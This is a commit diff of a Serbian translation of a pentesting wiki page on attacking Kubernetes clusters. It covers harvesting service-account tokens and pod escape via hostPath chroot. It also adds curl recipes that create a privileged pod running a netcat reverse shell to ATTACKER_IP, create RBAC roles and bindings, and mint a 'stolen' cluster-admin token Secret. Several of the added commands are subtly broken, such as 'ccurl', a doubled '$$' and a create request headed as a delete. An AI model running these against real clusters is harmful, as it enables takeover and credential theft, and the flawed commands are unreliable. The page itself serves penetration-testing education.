Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera

This commit is contained in:
Translator
2025-01-22 09:51:38 +00:00
parent 21d8e4a28f
commit 5d1dfc30ea
2 changed files with 240 additions and 32 deletions

View File

@@ -451,8 +451,8 @@
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -462,16 +462,16 @@
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md)
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)

View File

@@ -8,17 +8,17 @@ Ako imate kompromitovan pristup mašini, korisnik može imati pristup nekoj Kube
U ovoj fascikli možete pronaći konfiguracione datoteke sa **tokenima i konfiguracijama za povezivanje sa API serverom**. U ovoj fascikli takođe možete pronaći fasciklu sa kešom sa informacijama prethodno preuzetim.
Ako ste kompromitovali pod unutar Kubernetes okruženja, postoje druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju:
Ako ste kompromitovali pod unutar kubernetes okruženja, postoje druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju:
### Service Account Tokens
Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, preporučujem da **pratite ovaj link i pročitate barem informacije o Kubernetes arhitekturi.**
Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, preporučujem vam da **pratite ovaj link i pročitate barem informacije o Kubernetes arhitekturi.**
Preuzeto iz Kubernetes [dokumentacije](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_“Kada kreirate pod, ako ne navedete servisni nalog, automatski se dodeljuje_ default _servisni nalog u istoj imenskoj oblasti.”_
**ServiceAccount** je objekat kojim upravlja Kubernetes i koristi se za pružanje identiteta procesima koji se izvršavaju u podu.\
**ServiceAccount** je objekat kojim upravlja Kubernetes i koristi se za pružanje identiteta za procese koji se izvršavaju u podu.\
Svaki servisni nalog ima tajnu povezanu sa njim i ova tajna sadrži bearer token. Ovo je JSON Web Token (JWT), metoda za sigurno predstavljanje zahteva između dve strane.
Obično **jedna** od fascikli:
@@ -29,7 +29,7 @@ Obično **jedna** od fascikli:
sadrži datoteke:
- **ca.crt**: To je ca sertifikat za proveru Kubernetes komunikacija
- **ca.crt**: To je ca sertifikat za proveru kubernetes komunikacija
- **namespace**: Ukazuje na trenutnu imensku oblast
- **token**: Sadrži **servisni token** trenutnog poda.
@@ -47,7 +47,7 @@ Podrazumevana lokacija na **Minikube**:
### Hot Pods
_**Hot pods su**_ podovi koji sadrže privilegovani token servisnog naloga. Privilegovani token servisnog naloga je token koji ima dozvolu za obavljanje privilegovanih zadataka kao što su listanje tajni, kreiranje podova, itd.
_**Hot pods su**_ podovi koji sadrže privilegovan servisni nalog token. Privilegovani servisni nalog token je token koji ima dozvolu za obavljanje privilegovanih zadataka kao što su listanje tajni, kreiranje podova, itd.
## RBAC
@@ -55,7 +55,7 @@ Ako ne znate šta je **RBAC**, **pročitajte ovaj odeljak**.
## GUI Applications
- **k9s**: GUI koji enumeriše Kubernetes klaster iz terminala. Proverite komande u [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Napišite `:namespace` i izaberite sve da biste zatim pretražili resurse u svim imenskim oblastima.
- **k9s**: GUI koji enumeriše kubernetes klaster iz terminala. Proverite komande u [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Napišite `:namespace` i izaberite sve da biste zatim pretražili resurse u svim imenskim oblastima.
- **k8slens**: Nudi nekoliko besplatnih probnih dana: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
@@ -64,13 +64,13 @@ Da biste enumerisali K8s okruženje, potrebni su vam neki od ovih:
- **validan autentifikacioni token**. U prethodnom odeljku smo videli gde da tražimo korisnički token i token servisnog naloga.
- **adresa (**_**https://host:port**_**) Kubernetes API**. Ovo se obično može pronaći u promenljivim okruženja i/ili u kube konfiguracionoj datoteci.
- **Opcionalno**: **ca.crt za verifikaciju API servera**. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali korišćenjem `--insecure-skip-tls-verify` sa `kubectl` ili `-k` sa `curl` vam to neće biti potrebno.
- **Opcionalno**: **ca.crt za verifikaciju API servera**. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali korišćenjem `--insecure-skip-tls-verify` sa `kubectl` ili `-k` sa `curl` vam neće biti potrebno.
Sa tim detaljima možete **enumerisati Kubernetes**. Ako je **API** iz nekog razloga **dostupan** putem **Interneta**, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine.
Sa tim detaljima možete **enumerisati kubernetes**. Ako je **API** iz nekog razloga **dostupan** putem **Interneta**, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine.
Međutim, obično je **API server unutar interne mreže**, stoga ćete morati da **napravite tunel** kroz kompromitovanu mašinu da biste mu pristupili sa vaše mašine, ili možete **otpremiti** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binarni fajl, ili koristiti **`curl/wget/anything`** za izvođenje sirovih HTTP zahteva ka API serveru.
### Razlike između `list` i `get` glagola
### Differences between `list` and `get` verbs
Sa **`get`** dozvolama možete pristupiti informacijama o specifičnim resursima (_`describe` opcija u `kubectl`_) API:
```
@@ -91,12 +91,12 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
Oni otvaraju streaming vezu koja vam vraća puni manifest jednog Deployment-a svaki put kada se promeni (ili kada se kreira novi).
Oni otvaraju streaming vezu koja vam vraća puni manifest jednog Deployment-a kada god se promeni (ili kada se kreira novi).
> [!CAUTION]
> Sledeće `kubectl` komande pokazuju samo kako da se navedu objekti. Ako želite da pristupite podacima, treba da koristite `describe` umesto `get`
### Koristeći curl
### Korišćenje curl-a
Iz unutrašnjosti poda možete koristiti nekoliko env varijabli:
```bash
@@ -111,17 +111,17 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
> [!WARNING]
> Pod može **pristupiti** **kube-api serveru** na imenu domena **`kubernetes.default.svc`** i možete videti kube mrežu u **`/etc/resolv.config`** jer ćete ovde pronaći adresu kubernetes DNS servera (".1" iste opsega je kube-api krajnja tačka).
### Korišćenje kubectl
### Koristeći kubectl
Imajući token i adresu API servera, koristite kubectl ili curl za pristup kao što je ovde naznačeno:
Podrazumevano, APISERVER komunicira sa `https://` šemom.
Podrazumevano, APISERVER komunicira sa `https://` shemom.
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> ako nema `https://` u URL-u, možete dobiti grešku poput Bad Request.
Možete pronaći [**službeni kubectl cheatsheet ovde**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Cilj sledećih sekcija je da predstavi različite opcije za enumeraciju i razumevanje novog K8s na koji ste dobili pristup.
Možete pronaći [**službeni kubectl cheatsheet ovde**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Cilj sledećih sekcija je da predstavi različite opcije za enumeraciju i razumevanje novog K8s na koji ste dobili pristup, u uređenom redosledu.
Da biste pronašli HTTP zahtev koji `kubectl` šalje, možete koristiti parametar `-v=8`
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
Ako ste uspeli da ukradete neke korisničke akreditive, možete ih **konfigurisati lokalno** koristeći nešto poput:
Ako ste uspeli da ukradete kredencijale nekih korisnika, možete ih **konfigurisati lokalno** koristeći nešto poput:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -174,7 +174,7 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }}
{{#endtabs }}
### Dobijanje trenutnih privilegija
### Dobijte trenutne privilegije
{{#tabs }}
{{#tab name="kubectl" }}
@@ -197,7 +197,7 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
Drugi način da proverite svoje privilegije je korišćenje alata: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Još jedan način da proverite svoje privilegije je korišćenje alata: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Možete saznati više o **Kubernetes RBAC** u:
@@ -266,7 +266,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }}
{{#endtabs }}
Ako možete da čitate tajne, možete koristiti sledeće linije da dobijete privilegije povezane sa svakim tokenom:
Ako možete da pročitate tajne, možete koristiti sledeće linije da dobijete privilegije povezane sa svakim tokenom:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
@@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### Dobijanje usluga
Kubernetes **usluge** se koriste za **izlaganje usluge na određenom portu i IP** (koji će delovati kao balansiranje opterećenja za podove koji zapravo nude uslugu). Ovo je zanimljivo znati gde možete pronaći druge usluge koje možete pokušati napasti.
Kubernetes **usluge** se koriste za **izlaganje usluge na određenom portu i IP-u** (koji će delovati kao balansirnik opterećenja za podove koji zapravo nude uslugu). Ovo je zanimljivo znati gde možete pronaći druge usluge koje možete pokušati napasti.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
### Dobijanje DaemonSets
**DaemonSets** omogućava da se osigura da **određeni pod radi na svim čvorovima** klastera (ili na odabranim). Ako obrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni.
**DaeamonSets** omogućava da se osigura da **određeni pod radi na svim čvorovima** klastera (ili na odabranim). Ako obrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -381,7 +381,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
{{#endtab }}
{{#endtabs }}
### Dobijanje cronjob-a
### Preuzmi cronjob
Cron poslovi omogućavaju zakazivanje pokretanja poda koji će izvršiti neku radnju koristeći sintaksu sličnu crontab-u.
@@ -459,9 +459,13 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## Interakcija sa klasterom bez korišćenja kubectl
S obzirom na to da Kubernetes kontrolna ravni izlaže REST-ful API, možete ručno kreirati HTTP zahteve i slati ih sa drugim alatima, kao što su **curl** ili **wget**.
### Bekstvo iz poda
Ako ste u mogućnosti da kreirate nove pode, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml datoteku, pređete na kreirani pod i zatim chroot-ujete u sistem čvora. Možete koristiti već postojeće pode kao referencu za yaml datoteku, jer prikazuju postojeće slike i putanje.
Ako ste u mogućnosti da kreirate nove pode, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml datoteku, prebacite se na kreirani pod i zatim chroot u sistem čvora. Možete koristiti već postojeće pode kao referencu za yaml datoteku, pošto prikazuju postojeće slike i putanje.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
@@ -469,7 +473,7 @@ kubectl get pod <name> [-n <namespace>] -o yaml
>
> `k get nodes --show-labels`
>
> Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su sve dobre oznake za selekciju.
> Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su dobre oznake za selektovanje.
Zatim kreirate svoj attack.yaml fajl
```yaml
@@ -501,8 +505,6 @@ restartPolicy: Never
# or using
# node-role.kubernetes.io/master: ""
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
Nakon toga kreirate pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
@@ -517,6 +519,212 @@ chroot /root /bin/bash
```
Informacije dobijene iz: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### Kreiranje privilegovanog poda
Odgovarajući yaml fajl je sledeći:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```
Kreirajte pod sa curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši pod
Obriši pod pomoću curl-a:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Kreirajte servisni nalog
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši servisni nalog
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Kreirajte ulogu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši ulogu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Kreirajte Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši vezu ulogu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Obriši Tajnu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši Tajnu
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## Reference
{{#ref}}